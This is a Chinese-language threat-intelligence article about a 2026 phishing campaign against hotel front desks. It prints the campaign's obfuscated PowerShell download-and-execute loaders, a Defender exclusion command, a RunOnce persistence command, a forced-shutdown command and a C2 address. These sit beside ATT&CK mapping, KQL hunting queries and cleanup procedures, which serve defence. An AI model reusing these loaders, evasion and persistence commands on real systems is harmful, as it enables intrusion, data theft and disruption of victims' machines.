
摘要
2026 年 4 月起,攻击者发起针对全球酒店、文旅住宿行业的 Photo ZIP 多阶段钓鱼入侵活动,该攻击以游客投诉、客房核查等酒店业务场景为社会工程诱饵,依托合法第三方邮件转发服务实施认证洗钱绕过邮件安全校验,通过伪装图片格式的 LNK 快捷方式启动混淆 PowerShell 载荷,分两波迭代攻击链路并引入.NET 动态编译环节,最终部署 Node.js 持久化植入程序,依托注册表双启动项实现长期驻留,通过非标端口建立 C2 通信并执行终端强制关机、无头浏览器自动化等破坏与窃密行为。本文以微软安全研究团队披露的完整攻击链路、样本指标、狩猎规则为基础,系统拆解攻击全流程技术细节,对比两波攻击的技术演进差异,梳理攻击者规避终端防护、邮件检测、网络审计的核心手段,结合 MITRE ATT&CK 框架完成攻击战术映射,复现关键检测狩猎代码并验证防御逻辑缺陷。反网络钓鱼技术专家芦笛指出,该攻击代表当前垂直行业定向威胁的典型范式:攻击者放弃通用勒索传播模式,围绕行业业务场景定制诱饵与载荷链路,持续迭代混淆逻辑规避静态特征检测,双持久化机制大幅提升事件处置难度,传统单点杀毒、邮件网关防护已无法形成有效阻断。研究针对酒店行业前台、预订、接待岗终端的业务特征,从邮件入口防护、终端进程行为管控、注册表持久化审计、网络异常通信拦截、常态化威胁狩猎五个维度构建分层防御体系,给出可落地的检测规则、终端基线配置与事件闭环处置流程,为住宿文旅行业应对同类定向钓鱼持久植入攻击提供完整技术参考。
关键词:网络钓鱼;认证洗钱;LNK 伪装;PowerShell 混淆;Node.js 木马;注册表双持久化;酒店行业威胁;威胁狩猎

1 引言
1.1 研究背景
随着数字化运营在酒店、民宿、商旅服务行业全面普及,前台接待、客房预订、客户投诉处理岗位员工高频接收外部邮件、图片附件、客户回执文件,行业业务场景天然存在高钓鱼暴露面。住宿行业终端普遍存储客户身份信息、入住记录、消费账单、联系方式等高敏感数据,具备明确的数据窃取价值,成为定向网络攻击的重点目标。
传统钓鱼攻击多依赖通用模板批量分发,载荷以宏文档、压缩包病毒为主,防护体系依靠静态特征库、邮件信誉评分实现拦截,但 2026 年春季出现的 Photo ZIP 攻击活动呈现显著差异化特征:攻击者不再使用单一恶意附件,构建 “第三方服务转发邮件→多跳转钓鱼链接→图片伪装压缩包→混淆脚本加载器→Node.js 长期植入” 的完整链式攻击链路,持续迭代混淆逻辑与基础设施,且专门针对酒店多语种业务场景设计日语、丹麦语、荷兰语三类客户投诉诱饵,精准匹配欧洲、亚洲跨国酒店集团运营环境。
微软威胁情报团队自 2026 年 4 月持续跟踪该攻击活动,记录两波完整攻击迭代周期,完整披露载荷样本、C2 基础设施、注册表持久化机制、终端破坏行为等全维度指标,为垂直行业定向威胁的技术拆解、防御方案构建提供完整实证素材。现有学术研究多聚焦通用勒索病毒、无文件 PowerShell 攻击,针对文旅住宿行业定制化、分阶段、具备长期驻留能力的定向钓鱼攻击系统性研究较少,缺乏结合行业岗位终端业务特征的分层防御落地方案,也未针对该攻击独有的认证洗钱、RunOnce 循环持久化、Node.js 用户目录驻留等特有技术点开展专项分析,存在研究空白。
1.2 研究意义
理论层面,本文完整拆解垂直行业定向钓鱼攻击的标准化运营链路,梳理攻击者从基础设施筹备、社会工程诱饵设计、载荷混淆迭代、持久化机制搭建到后期 C2 控制、终端破坏的全流程技术逻辑,完善 MITRE ATT&CK 框架下住宿行业定向威胁战术映射体系,补充新型 “认证洗钱” 绕过邮件校验技术、RunOnce 循环持久化机制、Node.js 用户空间植入的技术研究素材。
实践层面,酒店行业 IT 安全运维普遍存在终端分散、员工安全意识薄弱、业务系统老旧、安全设备规则更新滞后等痛点,本文基于真实攻击样本提炼可直接部署的终端狩猎查询脚本、邮件过滤策略、注册表审计规则,构建贴合酒店前台、预订岗业务场景的分层防御模型,解决传统防护手段对多阶段迭代型钓鱼攻击检出率不足、感染后清理不彻底、复感染风险高的实际运维难题。反网络钓鱼技术专家芦笛强调,文旅住宿行业属于面向公众开放的服务型行业,无法通过完全阻断外部邮件、附件下载开展运营,必须建立 “行为检测优先于特征匹配” 的动态防护体系,本文研究成果可直接用于酒店集团安全基线建设、常态化威胁狩猎、钓鱼事件应急处置。
1.3 研究内容与文章结构
本文共分为七个核心章节,各章节研究内容如下:
引言:阐述研究背景、理论与实践意义,明确全文研究框架;
2 Photo ZIP 攻击活动整体概况:梳理攻击时间线、目标行业、社会工程诱饵、基础设施洗钱手段,区分两波攻击基础特征;
3 攻击全链路技术拆解:分初始访问、载荷执行、防御规避、持久化部署、C2 通信、失陷后行为六大环节,逐阶段解析技术实现逻辑,嵌入关键代码与命令行示例;
4 两波攻击技术演进对比:从文件命名、攻击链路、混淆逻辑、基础设施、持久化辅助模块五个维度对比 Wave1 与 Wave2 差异,分析攻击者迭代优化的核心目的;
5 基于 MITRE ATT&CK 框架的攻击战术映射:将全部攻击行为对应至 ATT&CK 战术、技术编号,明确攻击杀伤链各阶段对应防御控制点;
6 分层防御体系与检测狩猎实现:构建邮件、终端、注册表、网络四层防护架构,完整复现微软 Defender XDR 平台狩猎查询代码,给出酒店行业专属安全运维策略;
7 结论与展望:总结攻击核心技术特征,指出现有防护体系短板,提出后续垂直行业威胁防护研究方向。
2 Photo ZIP 攻击活动整体概况
2.1 攻击时间线与目标范围
本次攻击活动起始于 2026 年 4 月,持续至当年 6 月仍保持活跃,整体分为两个清晰迭代周期:第一波攻击(Wave1)运行周期为 4 月至 5 月中旬,第二波攻击(Wave2)自 5 月下旬启动并持续迭代至 6 月。攻击地理覆盖欧洲、亚洲多国,目标主体全部为酒店、度假村、商旅接待类住宿机构,受害终端设备命名统一带有 reception、frontdesk、reservations、accueil(法语接待)、recepcja(波兰语前台)等岗位标识,攻击者精准锁定直接对接客户咨询、投诉文件的一线接待员工。
攻击者未对外宣称攻击组织归属,微软情报团队未将该活动关联至已知高级持续性威胁组织,从基础设施复用、载荷哈希复用、持久化逻辑完全一致等证据判断,两波攻击由同一运营主体维护,迭代行为仅用于提升规避检测能力,未变更核心入侵与驻留逻辑。
2.2 社会工程诱饵与认证洗钱技术
2.2.1 多语种业务场景诱饵设计
攻击者依托酒店客户投诉场景设计三类语种诱饵模板,覆盖日语、丹麦语、荷兰语,全部采用无个性化通用模板,批量群发不携带收件机构、员工姓名,依靠紧迫感、声誉风险驱动员工点击链接下载恶意压缩包,核心诱饵主题包含:客户严重投诉、客房臭虫虫害报告、卫生检查强制通知、入住安全事故索赔、客房设施核查回执、入住评价索要通知。邮件发件人统一展示为 “Booking Manager (via Calendly)”,匹配酒店预订经理常规业务身份,降低员工警惕性。
2.2.2 基于 Calendly 与 Google 跳转的认证洗钱机制
认证洗钱是本次攻击突破邮件安全网关的核心技术手段,其核心逻辑为攻击者控制合法第三方 Calendly 预约平台账号,通过平台官方邮件通知渠道群发钓鱼邮件,Calendly 官方发送服务器自带合规 SPF、DKIM、DMARC 签名校验,邮件网关完成认证校验后判定邮件可信,忽略邮件内恶意跳转链接。
攻击者搭建两种跳转链路分发钓鱼链接:
链路 A(直连 Calendly 洗钱链路):calendly.com官方跳转链接直接指向 photo-*.cfd 钓鱼落地页,该链路发出的邮件全部通过 SPF、DKIM、DMARC 三重校验,邮件网关无拦截标记;
链路 B(多跳 Google 中继链路):Calendly 跳转→share.google 令牌短链接→谷歌域名重定向→.cfd 钓鱼页面,该链路仅 SPF 软通过,部分邮件网关会标记低风险,但多跳跳转掩盖最终恶意域名,人工核验难以识别真实落地地址。
钓鱼落地页部署 Cloudflare 人机验证 Turnstile 网关,实现反自动化爬虫分析、地域访问限制,仅人工点击访问可下载 photo - 随机数字.zip 恶意压缩包,进一步规避自动化沙箱检测。
2.3 恶意载体基础特征
攻击初始载体为浏览器下载的 ZIP 压缩包,命名规则统一为 photo-<随机数字>.zip,压缩包内部仅存放伪装图片的 LNK 快捷方式文件,通过修改文件后缀混淆用户视觉判断:Wave1 文件命名为 IMG - 随机数字.png.lnk,Wave2 升级为 PHOTO - 随机数字.png.lnk,两类 LNK 文件体积稳定在 1989 至 2079 字节区间,证明攻击者使用同一套载荷生成工具批量构建样本。
终端用户开启文件扩展名隐藏功能时,系统仅展示.png 后缀,员工会将快捷方式误认为客户提供的客房实拍图片,双击执行后触发完整攻击链路,该伪装手段是实现初始执行的核心社会工程载体。
3 攻击全链路技术拆解
攻击完整杀伤链分为六大阶段:初始访问与用户执行、PowerShell 混淆载荷加载、Wave2 专属.NET 动态编译、Node.js 植入程序部署、防御规避与持久化配置、C2 通信与失陷后恶意行为,各阶段技术实现逻辑、命令行、样本代码完整拆解如下。
3.1 初始访问与用户执行阶段
攻击者通过 Calendly 渠道分发多语种钓鱼邮件,嵌入多层跳转 URL;
员工点击链接,经过 Calendly、Google 多轮 301/302 重定向,跳转至 Cloudflare 防护的 photo-*.cfd 域名落地页;
用户完成人机验证后,浏览器自动下载 photo-xxx.zip 压缩包至系统 Downloads 目录;
用户双击压缩包内 IMG/PHOTO-xxx.png.lnk 伪装快捷方式,启动隐藏 PowerShell 执行逻辑,正式触发攻击载荷。
LNK 快捷方式内置隐藏命令行,不弹出终端窗口,后台静默调用 PowerShell 并开启绕过执行策略参数,是整个攻击链路的触发入口。
3.2 PowerShell 大整数混淆加载器(核心无文件载荷)
该攻击最核心的规避检测手段为持续迭代七轮 BigInt 大整数混淆解码逻辑,全部载荷依托 PowerShell 实现无文件落地加载,静态特征扫描无法捕获统一恶意字符串,七轮混淆迭代底层逻辑完全一致,仅通过替换运算符号、常量、变量名、循环结构规避特征匹配,基础执行逻辑固定为:大整数解码→提取远程.ps1 下载地址→调用 Invoke-WebRequest 下载脚本至 % TEMP% 临时目录→二次启动 PowerShell 执行下载脚本。
3.2.1 第一轮 XOR 大整数混淆代码示例
powershell
powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\";
$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w;
while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8};
iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\eRJGv.ps1"
逻辑说明:定义两个超大 BigInt 数值,通过异或运算还原原始 URL 字符串,采用 0xFF 字节掩码、右移位运算逐字节拼接可访问地址,调用网络请求下载第二阶段脚本至系统临时目录。
3.2.2 第七轮 Wave2 循环混淆代码示例(最新迭代版本)
powershell
powershell.exe -ep bypass -c "$IcZWdT=100+156;
$strA=\"987654321...\" -as [bigint];
$strB=\"123456789...\" -as [bigint];
$result=$strA - $strB;
for($i=0; $result -ne 0; $i++){
$output+=[char]([int]($result % $IcZWdT));
$result=[bigint]($result / $IcZWdT)};
iwr $output -OutFile $env:TEMP\random.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\random.ps1"
Wave2 混淆优化点:使用 for 循环替代 while 循环,采用算术表达式 100+156 替代固定常量 256,引入 - as [bigint] 强制类型转换语法,变量名生成长随机字符串,完全规避基于循环结构、常量字符串的静态特征检测。
反网络钓鱼技术专家芦笛指出,此类持续迭代的轻量级混淆逻辑是当前企业邮件、终端防护的核心盲区:安全厂商多基于固定运算符、常量字符串建立威胁特征,攻击者仅替换运算方式、常量表达形式即可绕过拦截,单纯依靠静态签名无法检出此类动态混淆 PowerShell 脚本,必须依托进程行为链开展关联检测。
3.3 Wave2 专属.NET 动态编译环节
Wave1 攻击链路不存在.NET 编译环节,Wave2 新增 csc.exe(C# 编译器)、cvtres.exe 资源转换工具动态编译随机名称 DLL 文件,编译产物固定 3072 字节,代表攻击者新增内存载荷备选执行通道,编译流程命令行由下载的临时 ps1 脚本静默调用:
PowerShell 脚本写入临时 C# 源码至 % TEMP% 目录;
调用 csc.exe 编译源码生成目标 DLL;
调用 cvtres.exe 完成资源转换,输出随机命名 bjygtujc.dll 类文件;
微软观测数据显示,该 DLL 样本未直接通过 rundll32 加载执行,判断为攻击者预留备用载荷通道,用于后续拓展攻击手段,属于攻击链路前置铺垫环节,进一步提升沙箱动态分析复杂度。
3.4 Node.js 植入程序部署与驻留启动
经过 PowerShell 脚本中转后,攻击链路进入核心持久化植入阶段,攻击者复用官方原版 Node.js v24.13.0-win-x64 运行环境,规避自定义运行时带来的特征风险,完整部署流程如下:
从nodejs.org官方源下载 node-v24.13.0-win-x64 安装包,SHA256 固定为 d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11;
将 node.exe 解压至用户目录C:\Users\[用户名]\AppData\Local\Nodejs\,写入随机命名.js 恶意植入脚本;
执行隐藏分离进程命令,实现 Node.js 程序后台无窗口驻留,关键执行命令:
powershell
powershell.exe -c "$code = \"require('child_process').spawn(process.execPath,
['C:\\Users\\[用户名]\\AppData\\Local\\Nodejs\\随机.js'],
{detached: true, stdio: 'ignore', windowsHide: true}).unref();
$command = $code | Out-File $env:TEMP\run.ps1;
powershell -WindowStyle Hidden -File $env:TEMP\run.ps1"
参数说明:detached 参数创建独立分离进程,windowsHide 完全隐藏程序窗口,unref 切断父进程关联,即便初始 PowerShell 进程关闭,Node.js 木马仍持续后台运行,实现基础进程持久化。
3.5 防御规避机制(终端安全工具篡改)
Node.js 植入程序启动后,第一时间执行 Windows Defender 防护排除操作,提前将临时目录待执行恶意 EXE 加入进程白名单,绕过实时扫描,核心命令行示例:
powershell
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[用户名]\AppData\Local\Temp\utramdJQjRMJ.exe\""
攻击者在随机 EXE 文件执行前几秒批量添加排除规则,使恶意二进制文件落地、运行全程不受杀毒程序拦截;待 EXE 运行完成后,通过 is-*.tmp 命名的静默安装程序(参数 / VERYSILENT、/SL5)完成载荷解压、复制迁移,无弹窗、无用户交互,降低终端异常行为暴露概率。
3.6 双注册表持久化(攻击核心高危特性)
该攻击区别于普通木马的关键特征为双注册表循环持久化机制,同时修改 HKCU\Run、HKCU\RunOnce 两类启动项,形成双重驻留备份,清理难度大幅提升:
HKCU\Run 键:写入指向 AppData\Local\Nodejs\node.exe 的启动项,用户登录直接加载 Node.js 植入程序,长期维持 C2 通信通道;
HKCU\RunOnce 键:写入 C:\ProgramData\ 随机文件夹 \payload.exe 路径,单次登录执行 PE 载荷;
特殊循环逻辑:每次 RunOnce 内程序执行完毕后,木马自动重新写入 RunOnce 注册表项,常规 RunOnce 仅执行一次后自动删除,该循环机制导致单次删除注册表项无法根除后门,重启后自动恢复持久化配置,关键注册表写入命令:
cmd
cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce"
/v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f
载荷迁移路径固定为 C:\ProgramData\ 随机英文文件夹,全部使用小写随机文件名,同一载荷哈希复制多份分散存储,规避单文件删除完成清理。反网络钓鱼技术专家芦笛强调,双注册表驻留 + RunOnce 循环刷新机制是本次攻击处置最大难点:安全运维人员仅删除 RunOnce 内 PE 程序,Node.js 木马仍通过 Run 键持续运行,会自动重新生成失陷载荷与注册表项,形成反复感染闭环,应急处置必须同步清除 Node.js 运行环境、JS 植入脚本、两处注册表启动项、ProgramData 目录恶意 EXE 四类文件。
3.7 C2 通信与失陷后恶意行为
3.7.1 C2 通信基础设施与端口规范
攻击者区分长期稳定 C2 IP 与短期钓鱼域名两套基础设施:
稳定 C2 IP(Wave1、Wave2 共用):178.16.54.27,持续开放 56001、56002 端口接收木马心跳;其余 IP 为阶段性备用 C2 节点,仅短期活跃;
通信端口统一使用非标高端口,规避常规安全设备端口审计规则:8443、8445、8453、5555、56001、56002、56003;
域名体系:Wave1 使用.info、.pro、.xyz 通用域名,Wave2 新增.cloudflare 托管.cfd 域名,命名规则 photo - 随机数字.cfd,域名生命周期仅 2-3 天,批量轮换规避域名信誉拦截。
Node.js 木马启动时携带 C2 域名作为启动参数,主动向外网固定 IP 周期心跳上报终端状态,等待攻击者下发远程控制指令。
3.7.2 失陷后终端破坏与情报搜集行为
网络环境探测:木马调用ip-api.com接口查询终端公网 IP、地理位置,用于攻击者区分受害区域、调整攻击策略;
无头浏览器自动化:调用浏览器 --headless --no-sandbox 参数静默运行,批量访问内网业务系统、导出客户入住数据、截图业务后台;
强制终端关机:执行cmd /c shutdown -s -t 0命令,无延迟强制关闭前台终端,中断员工操作、销毁短期内存日志,阻碍安全人员现场溯源;
载荷自动重分发:若 Defender 拦截 ProgramData 目录 PE 程序,驻留 Node.js 木马会自动重新下载全套恶意二进制文件,重新配置持久化项,实现自我修复。
4 两波攻击技术演进对比分析
Wave1(4-5 月中旬)与 Wave2(5 月下旬 - 6 月)攻击核心入侵逻辑、C2 基础设施、Node.js 运行环境完全一致,全部针对酒店行业前台岗位,差异集中在载荷命名、攻击链路拓展、混淆逻辑、域名基础设施、防御规避模块五大维度,详细对比见表 1。
表 1 Wave1 与 Wave2 攻击技术特征对比
表格
对比维度 Wave1 第一波攻击 Wave2 第二波攻击 攻击者迭代目的
LNK 伪装文件命名 IMG - 随机数字.png.lnk PHOTO - 随机数字.png.lnk 规避基于 IMG 前缀的简易终端检测规则
攻击链路节点 PowerShell→Node.js 植入 PowerShell→csc.exe 编译 DLL→Node.js 植入 新增备用内存载荷通道,提升沙箱检测逃逸能力
PowerShell 混淆阶段 1-6 轮混淆,while 循环、0xFF 常量、异或运算 第 7 轮混淆,for 循环、算术常量、减法 + 取模运算 规避基于循环结构、固定常量字符串的静态特征库
域名顶级域 .info/.pro/.xyz/.icu 等通用域名 新增.cfd/.click/.bond 域名,Cloudflare 托管 利用全新小众域名无风险信誉,绕过邮件域名黑名单
持久化辅助模块 仅 PE 程序驻留 完善 EXE 静默安装包、临时目录批量排除规则 强化终端防御规避,提升载荷落地成功率
从迭代规律可判断攻击者运营思路:依托成熟稳定的核心攻击链路不做大范围重构,仅持续微调表层特征、新增辅助规避模块,以最小运维成本持续绕过安全设备静态检测,攻击目标始终聚焦酒店行业客户敏感数据窃取,未变更核心杀伤链。
5 基于 MITRE ATT&CK 框架的攻击战术映射
将本次 Photo ZIP 攻击全流程行为对应 MITRE ATT&CK v14 企业矩阵,完整映射攻击各阶段战术、技术编号,明确每类攻击行为对应的防御控制点,便于安全运维人员基于 ATT&CK 框架搭建检测规则:
资源开发(Resource Development)
T1583.001 基础设施获取:批量注册短期 photo-*.cfd 钓鱼域名,2-3 天轮换;
T1583.006 第三方服务获取:控制 Calendly 企业账号用于邮件转发;
T1584.006 基础设施劫持:滥用 Google share 域名开放重定向服务构建跳转链路。
初始访问(Initial Access)
T1566.002 钓鱼链接钓鱼:多语种客户投诉主题钓鱼邮件分发跳转链接;
T1199 信任关系滥用:依托 Calendly 官方邮件签名实现认证洗钱,绕过邮件安全校验。
执行(Execution)
T1204.002 用户执行恶意文件:员工双击伪装图片 LNK 快捷方式触发载荷;
T1059.001 PowerShell 执行:混淆大整数解码脚本下载第二阶段载荷;
T1059.007 JavaScript 执行:Node.js 环境运行恶意 JS 植入程序建立 C2 通道。
防御规避(Defense Evasion)
T1027 信息混淆:七轮迭代 PowerShell 大整数算术混淆;
T1027.004 投递后编译:Wave2 调用 csc.exe 本地编译.NET DLL;
T1036 文件伪装:LNK 快捷方式后缀伪装 PNG 图片;
T1562.001 修改安全工具配置:添加 Windows Defender 进程排除项。
持久化(Persistence)
T1547.001 注册表启动项:HKCU\Run、HKCU\RunOnce 双项循环持久化。
发现(Discovery)
T1016 网络配置探测:调用ip-api.com查询终端公网地理信息。
命令与控制(Command and Control)
T1571 非标端口通信:木马通过 8443、56001 等高端口建立 C2 心跳。
完整 ATT&CK 映射证明该攻击覆盖入侵全生命周期战术,防御体系需覆盖邮件入口、终端执行、注册表、网络外联全链路,单一环节防护缺失即可导致完整入侵链路打通。
6 面向酒店行业的分层防御体系与检测狩猎实现
结合酒店前台、预订岗终端业务场景(允许外部邮件接收、图片附件下载、网页浏览),构建四层分层防御架构:邮件网关前置防护、终端进程行为管控、注册表持久化审计、网络异常外联拦截,同步复现微软 Defender XDR 平台完整狩猎查询代码,所有规则可直接部署用于常态化威胁狩猎。
6.1 第一层:邮件网关反钓鱼前置防护(阻断初始访问)
针对攻击者认证洗钱、多跳转链接、photo 主题压缩包三大入口风险,配置邮件网关过滤策略:
Calendly 域名邮件专项风险评分:对em1618.calendly.com子域发出、发件人展示名为 Booking Manager 的邮件提升最高风险等级,强制隔离附件、拦截所有跳转 URL;
多层跳转链接检测:识别邮件内包含calendly.com/url?q=、share.google/TOKEN 的多级重定向链接,直接阻断下载行为;
压缩包附件过滤:拦截命名为 photo - 数字.zip 的压缩包,深度扫描压缩包内.lnk 快捷方式文件,检测 IMG/PHOTO-xxx.png.lnk 伪装载体;
多语种诱饵关键词拦截:配置日语、丹麦语、荷兰语客户投诉、虫害、卫生检查类关键词过滤规则;
反网络钓鱼技术专家芦笛指出,邮件网关是阻断该攻击最经济有效的前置控制点,优先拦截 Calendly 洗钱渠道可直接消除 80% 以上攻击入口,无需对全量外部邮件做高强度深度解析,平衡安全防护与酒店业务访问效率。
6.2 第二层:终端行为检测与进程管控(阻断载荷执行)
终端防护放弃传统静态特征查杀,以攻击行为链为核心配置检测规则,配套完整狩猎查询代码(Kusto 语言,适用于 Microsoft Defender XDR 高级狩猎)。
6.2.1 伪装图片 LNK 文件执行检测脚本
kusto
DeviceProcessEvents
| where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe"
| where ProcessCommandLine has ".lnk"
| where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
规则作用:实时捕获前台终端打开 IMG/PHOTO 前缀 png.lnk 伪装快捷方式行为,触发高优先级安全告警。
6.2.2 用户目录 Node.js 木马执行检测脚本
kusto
DeviceProcessEvents
| where FileName =~ "node.exe"
| where FolderPath has @"\AppData\Local\Nodejs\"
| where ProcessCommandLine has ".js"
| project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
规则作用:正常酒店业务终端不会在用户 AppData 目录存放 node.exe,匹配该路径执行 JS 文件直接判定为高危植入行为。
6.2.3 Wave2 .NET 动态编译行为检测脚本
kusto
DeviceProcessEvents
| where FileName in~ ("csc.exe", "cvtres.exe")
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")
or InitiatingProcessFolderPath has @"\AppData\Local\Temp\"
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
规则作用:前台业务系统无 C# 编译开发需求,PowerShell 调用 csc.exe 属于异常高危行为,精准检出 Wave2 新增编译链路。
6.2.4 Defender 排除规则篡改关联检测脚本
kusto
let exclusionEvents =
DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess"
| project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine;
let tempExecs =
DeviceProcessEvents
| where FolderPath has @"\AppData\Local\Temp\"
| where FileName endswith ".exe" or ProcessCommandLine has ".exe"
| project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine;
exclusionEvents
| join kind=inner tempExecs on DeviceId
| where TempExecTime between (ExclusionTime .. ExclusionTime + 30m)
| project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd
| order by ExclusionTime desc
规则逻辑:30 分钟内同时出现添加杀毒排除项、临时目录 EXE 执行行为,判定为恶意载荷规避操作,联动终端自动隔离主机。
额外终端基线管控策略:
限制 PowerShell 绕过执行策略(-ep bypass)批量告警,前台终端仅允许受限语言模式;
禁止用户目录自动解压、静默安装程序运行,拦截 is-*.tmp 搭配 / VERYSILENT 参数进程;
系统文件扩展名显示强制开启,禁止员工隐藏后缀名,消除 LNK 伪装图片视觉欺骗条件。
6.3 第三层:注册表持久化专项审计(根除驻留后门)
针对双注册表循环持久化机制,配置注册表变更审计规则,配套狩猎查询代码:
kusto
DeviceRegistryEvents
| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run"
or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce"
| where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\")
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
运维处置规范:出现该类注册表写入告警时,必须同步执行三类清理操作:
删除 HKCU\Run 下指向 node.exe 的启动项,清空 AppData\Local\Nodejs 完整目录;
删除 HKCU\RunOnce 随机命名值,删除 C:\ProgramData 下随机文件夹及内部恶意 EXE;
终端全盘扫描匹配报告内 SHA256 恶意样本哈希,清除残留载荷,重启终端验证持久化项是否自动重建,确认无循环再生后解除隔离。
6.4 第四层:网络异常外联拦截(切断 C2 通信)
网络安全设备配置外联黑名单与异常端口告警规则,配套网络狩猎脚本:
kusto
DeviceNetworkEvents
| where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003)
| where InitiatingProcessFileName =~ "node.exe"
or InitiatingProcessFolderPath has @"\AppData\Local\Temp\"
or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\"
or InitiatingProcessFolderPath has @"\ProgramData\"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| order by Timestamp desc
网络防护策略:
防火墙阻断已知 C2 IP 178.16.54.27 出站流量,封禁 56001、56002 等非标端口外联;
DNS 网关拦截 photo-*.cfd、.bond、.click 新型钓鱼域名解析请求;
监控 node.exe 进程对外网高端口发起心跳连接,一旦发现立即阻断主机网络并触发安全告警。
6.5 酒店行业配套安全运营机制
岗位分级钓鱼培训:针对前台、预订、接待岗开展专项培训,重点讲解图片后缀 LNK 伪装、Calendly 第三方钓鱼邮件识别方法,每月开展模拟钓鱼演练;
7×24 小时常态化狩猎:每日自动执行上述四层狩猎查询脚本,生成高危终端报表,安全运维人员 2 小时内完成告警核查;
事件闭环处置流程:告警触发→终端网络隔离→注册表 / 载荷全量清理→恶意样本哈希入库→邮件网关更新过滤规则→员工二次安全培训,形成完整防护闭环。
7 结论与研究展望
7.1 研究结论
本文以 2026 年针对酒店行业的 Photo ZIP 定向钓鱼攻击为完整研究样本,系统拆解从邮件洗钱分发、伪装 LNK 初始执行、七轮迭代 PowerShell 混淆、Wave2.NET编译拓展、Node.js 用户目录植入、Defender 防护篡改、双注册表循环持久化、非标端口 C2 通信到终端破坏行为的完整攻击链路,对比两波攻击技术迭代逻辑,完成 MITRE ATT&CK 全战术映射,得出三项核心结论:
第一,垂直行业定向钓鱼攻击已形成标准化运营范式,攻击者不再依赖广谱恶意软件批量传播,围绕行业业务场景定制社会工程诱饵,依托合法第三方服务实现邮件认证洗钱,大幅突破传统邮件网关静态检测,酒店、文旅等服务行业因业务特性具备极高暴露风险;
第二,混淆逻辑轻量化迭代、双注册表循环持久化、用户空间 Node.js 植入是当前定向后门规避防护的核心技术手段,传统基于特征签名、单次杀毒清理的防护体系存在显著短板,仅删除单一载荷或注册表项无法根除后门,木马具备自我修复、重新分发能力;反网络钓鱼技术专家芦笛强调,该攻击证明行为关联检测、全链路狩猎是对抗迭代型定向威胁的唯一可行路径,单点安全设备无法形成有效防护;
第三,攻击具备清晰的技术迭代规律,攻击者保留核心杀伤链不变,仅微调表层文件名、混淆常量、域名后缀规避静态拦截,防御体系需同步实现邮件前置过滤、终端进程行为审计、注册表持久化监控、网络外联拦截四层联动,针对酒店前台岗位业务场景定制轻量化检测规则,平衡安全管控与业务正常运营。
7.2 现有防护体系短板
当前酒店行业主流安全防护存在三类短板:一是邮件网关对第三方服务转发的洗钱邮件风险识别不足,仅依靠发件域名信誉判断邮件安全性,忽略 Calendly、Google 等可信平台被滥用分发恶意跳转链接的场景;二是终端防护过度依赖静态病毒库,对 PowerShell 动态混淆、用户目录无文件植入、循环注册表持久化等新型行为缺乏关联检测能力;三是安全运维缺少行业专属常态化狩猎规则,告警分散无联动,失陷终端处置流程不完整,存在复感染风险。
7.3 后续研究展望
基于本次 Photo ZIP 攻击研究成果,后续可从三个方向开展延伸研究:
面向服务行业的 AI 钓鱼诱饵识别模型研究:基于酒店、餐饮、零售行业业务话术训练语义识别模型,自动识别多语种客户投诉类定向钓鱼邮件,提前拦截认证洗钱链路;
基于进程行为链的无文件后门检测算法优化:针对 PowerShell 大整数混淆、Node.js 用户目录驻留等行为构建时序行为特征模型,提升动态混淆载荷检出率;
垂直行业轻量化安全基线开发:针对酒店前台、民宿前台、旅行社等轻量化终端设备,开发低资源占用的注册表审计、异常外联检测基线方案,适配中小文旅企业有限安全运维预算。
本次研究完整还原真实定向攻击全链路技术细节,提供可直接落地的狩猎代码、分层防护策略与应急处置流程,可为国内酒店、文旅服务行业网络安全建设、钓鱼事件应急响应、常态化威胁狩猎提供完整技术支撑,同时为网络安全厂商开发行业专属反钓鱼、终端威胁检测产品提供真实攻击样本与行为特征依据。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。